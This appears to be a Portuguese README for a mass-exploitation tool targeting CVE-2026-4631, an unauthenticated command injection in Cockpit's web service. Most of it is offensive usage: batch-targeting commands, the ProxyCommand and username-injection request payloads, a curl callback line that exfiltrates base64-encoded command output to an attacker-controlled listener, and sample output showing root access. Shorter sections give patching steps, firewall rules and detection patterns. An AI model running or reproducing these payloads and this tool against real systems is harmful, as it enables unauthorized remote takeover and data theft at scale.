Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78
Execução Remota de Código não Autenticada via Injeção de Argumentos de Linha de Comando SSH Cockpit versões 327 – 359 | CVSS 9.8 Crítico | CWE-78
Ferramenta de exploração em massa para CVE-2026-4631 no serviço web do Cockpit (cockpit-ws, porta 9090). Suporta modo de varredura de vulnerabilidade, modo RCE com captura de saída de comando via ouvinte de callback HTTP embutido, modo --auto (varredura + exploração em uma única execução com comando padrão id), adição automática da porta :9090 para alvos sem porta, ambos os vetores de ataque (ProxyCommand + injeção de username %r), alvos em massa a partir de arquivo, concorrência com threads e saída de resultado estruturada.
Autor: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edite targets.txt — um host por linha. A porta :9090 é adicionada automaticamente se não existir:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Varredura + exploração em uma única execução, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>
# Exemplo de saída em results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Apenas varredura de vulnerabilidade (sem exploração)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explícito com comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>
# Alvo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>
CVE-2026-4631 é um RCE cego — a saída do comando não retorna na resposta HTTP. A ferramenta utiliza um ouvinte HTTP embutido (porta padrão 8888) para capturar a saída. Certifique-se de que:
--callback-ip é um IP acessível a partir do alvo (não 127.0.0.1)8888 (ou --listener-port personalizada)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verificar versão (deve ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edite /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Reinicie o serviço:
sudo systemctl restart cockpit
Restrinja a porta 9090 apenas à rede de gerenciamento:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitiga o Vetor 1 (injeção ProxyCommand) através da validação precoce do hostname:
ssh -V # deve ser OpenSSH_9.6 ou superior
Se não for possível atualizar para 360, aplique os patches dos commits:
-- em beiboot.py e cockpitauth.c-- em session.pyDetalhes do patch: veja docs/PATCH_ANALYSIS.md
| Campo | Detalhe |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severidade | Crítico (CVSS 9.8) |
| CWE | CWE-78 — Injeção de Comando no Sistema Operacional |
| Afetado | Cockpit 327 – 359 |
| Corrigido em | Cockpit 360+ |
| Autenticação necessária | NÃO (pré-autenticação) |
| Relator | Jelle van der Waa |
| Serviço | cockpit-ws, porta padrão 9090 |
O Cockpit v327 substituiu cockpit-ssh (libssh) por python3 -m cockpit.beiboot, que invoca o cliente ssh do OpenSSH do sistema. Entradas controladas pelo usuário — hostname do caminho da URL e username do cabeçalho Authorization: Basic — são passadas para o ssh sem sanitização e sem o separador -- de fim de opções. A injeção ocorre antes da verificação de credenciais, portanto não é necessário um login válido.
O hostname do caminho da URL é injetado com a opção SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x:x")
O SSH interpreta -oProxyCommand=<cmd> como uma opção, executando <cmd> como ProxyCommand. O comando é executado como o processo do usuário cockpit-ws.
Pré-requisito: OpenSSH < 9.6 no alvo. OpenSSH 9.6+ possui validação precoce de hostname que bloqueia metacaracteres.
%r no Username (Secundário)O username do cabeçalho Authorization: Basic é injetado com um comando shell.
GET /cockpit+=legit-host/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x; <CMD>; #:x")
O SSH expande %r com o username dentro da diretiva Match exec → o shell executa o comando injetado.
Pré-requisito: o ssh_config do alvo possui uma diretiva Match exec com o token %r.
LoginTo) não desabilitadossh_config com Match exec %r# Clonar do GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Instalar dependências
pip install -r requirements.txt
# Verificar
python3 exploit.py --help
requests>=2.31 — Cliente HTTP para requisições de exploraçãocolorama>=0.4 — Saída colorida no terminalNenhuma dependência adicional para o ouvinte (usa http.server + threading da stdlib).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — RCE não autenticado via injeção de argumento SSH
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-t, --target URL/host de alvo único (porta adicionada automaticamente se ausente)
-f, --file arquivo contendo lista de alvos (um por linha)
--default-port porta adicionada se o alvo não tiver porta (padrão: 9090)
-c, --cmd comando a executar (padrão: "id" no modo --auto / RCE)
--scan modo de varredura de vulnerabilidade (sem RCE, apenas sonda o endpoint)
--auto varredura + exploração em uma única execução, comando padrão "id"
--vector vetor de exploração: auto|proxycommand|username (padrão: auto)
-o, --output arquivo de saída de resultados (padrão: results.txt)
--callback-ip IP do atacante acessível a partir do alvo (para ouvinte de callback)
--listener-port porta do ouvinte de callback (padrão: 8888)
--threads trabalhadores concorrentes (padrão: 10)
--timeout segundos para aguardar callback por alvo (padrão: 10)
--delay atraso entre requisições em segundos (padrão: 0)
--proxy proxy HTTP para depuração (ex.: http://127.0.0.1:8080)
--user-agent string User-Agent personalizada
-v, --verbose saída verbosa (depuração)
--no-color desabilita saída colorida
--scan)Sonda o endpoint /cockpit+=probe-host/login sem explorar. Detecta:
Não envia payloads perigosos, não requer ouvinte de callback.
-c "cmd")Executa comando no alvo, captura saída via callback:
curl exfiltrado para o ouvinte-c não for fornecido, comando padrão = id--auto) — RecomendadoVarredura + exploração em uma única passagem, comando padrão id:
id (ou -c para substituir)host [ uid=0(root) ... ]--vector auto)Tenta primeiro o Vetor 1 (ProxyCommand). Se a resposta indicar OpenSSH >= 9.6 (erro de validação de hostname), cai para o Vetor 2 (injeção de username %r).
Cada entrada em targets.txt sem porta recebe automaticamente :9090:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Alvo sem porta → auto :9090, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Substituir comando
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
Saída results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
Saída scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalente: -t http://target:9090/
Saída:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Forçar Vetor 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Forçar Vetor 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
Formato do arquivo de resultado: uma linha por alvo:
<host> [ <status_ou_saída> ]
| Status | Significado |
|---|---|
uid=0(root) ... | RCE bem-sucedido, saída do comando capturada |
VULN - no callback received (OpenSSH >= 9.6?) | Alvo vulnerável, mas Vetor 1 bloqueado pelo OpenSSH 9.6+, tentar Vetor 2 |
VULN - endpoint active | Modo varredura, endpoint vulnerável detectado |
NOT VULN | Cockpit >= 360 ou endpoint inexistente |
UNREACHABLE | Conexão falhou / timeout de conexão |
ERROR: <msg> | Exceção durante a execução |
O cabeçalho do arquivo de resultado registra timestamp, comando, vetor e número de alvos.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine-f file / -t url, normaliza (adiciona http://, porta padrão 9090), deduplica--scan, sonda endpoint, identifica Cockpit, infere vulnerabilidaderequestsThreadingHTTPServer em --callback-ip:--listener-port, analisa ?id=REQID&out=BASE64, armazena em dicionário compartilhadohost [ output ]CVE-2026-4631-cockpit-RCE/
├── exploit.py # ponto de entrada CLI
├── requirements.txt # dependências
├── README.md # esta documentação
├── targets.txt # exemplo de lista de alvos
├── results.txt # saída (gerada)
├── core/
│ ├── __init__.py
│ ├── target.py # analisador de alvos
│ ├── scanner.py # modo varredura de vulnerabilidade
│ ├── exploit.py # gerador de payload + envio
│ ├── listener.py # servidor HTTP de callback
│ └── engine.py # orquestrador
├── utils/
│ ├── __init__.py
│ ├── banner.py # banner ASCII
│ └── result.py # escritor de resultados
└── docs/
├── VULN_ANALYSIS.md # análise aprofundada da vulnerabilidade
├── PATCH_ANALYSIS.md # análise dos commits de correção
└── DETECTION.md # assinaturas de detecção
CVE-2026-4631 é um RCE cego — a saída do comando não é retornada na resposta HTTP do Cockpit. A ferramenta contorna isso com um ouvinte HTTP de callback embutido:
--callback-ip:--listener-portbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login
Authorization: Basic base64("x:x")
requests.get, verify=False para certificado autoassinadoresults[REQID] até --timeouthost [ saída_decodificada ] no arquivo de saídaSe timeout sem callback, verifica erro SSH na resposta:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) paralelo por alvodict[REQID] -> target_host + dict[REQID] -> output com threading.LockThreadingHTTPServer lida com callbacks concorrentestry/except: erro de conexão, erro SSL, timeoutGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Fique atento a:
-oProxyCommand= no caminho da URL;) no valor decodificado do Authorization: Basicjournalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerável: 327 <= versão <= 359
Esta ferramenta foi criada para testes de penetração autorizados, pesquisa de segurança e validação de vulnerabilidades em sistemas que você possui ou para os quais tem permissão por escrito para testar.
O uso desta ferramenta em sistemas sem autorização explícita do proprietário é ilegal e pode resultar em sanções penais de acordo com a legislação aplicável.
O autor não se responsabiliza pelo uso indevido desta ferramenta. Use-a de forma ética e responsável.
Casos de uso autorizados:
| Recurso | URL |
|---|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Commit de correção (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Commit de correção (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| Bug CPython argparse | https://github.com/python/cpython/issues/66623 |
| Validação de hostname OpenSSH 9.6 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| PoC de referência | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
Para fins de pesquisa e testes autorizados. Não para distribuição comercial sem permissão.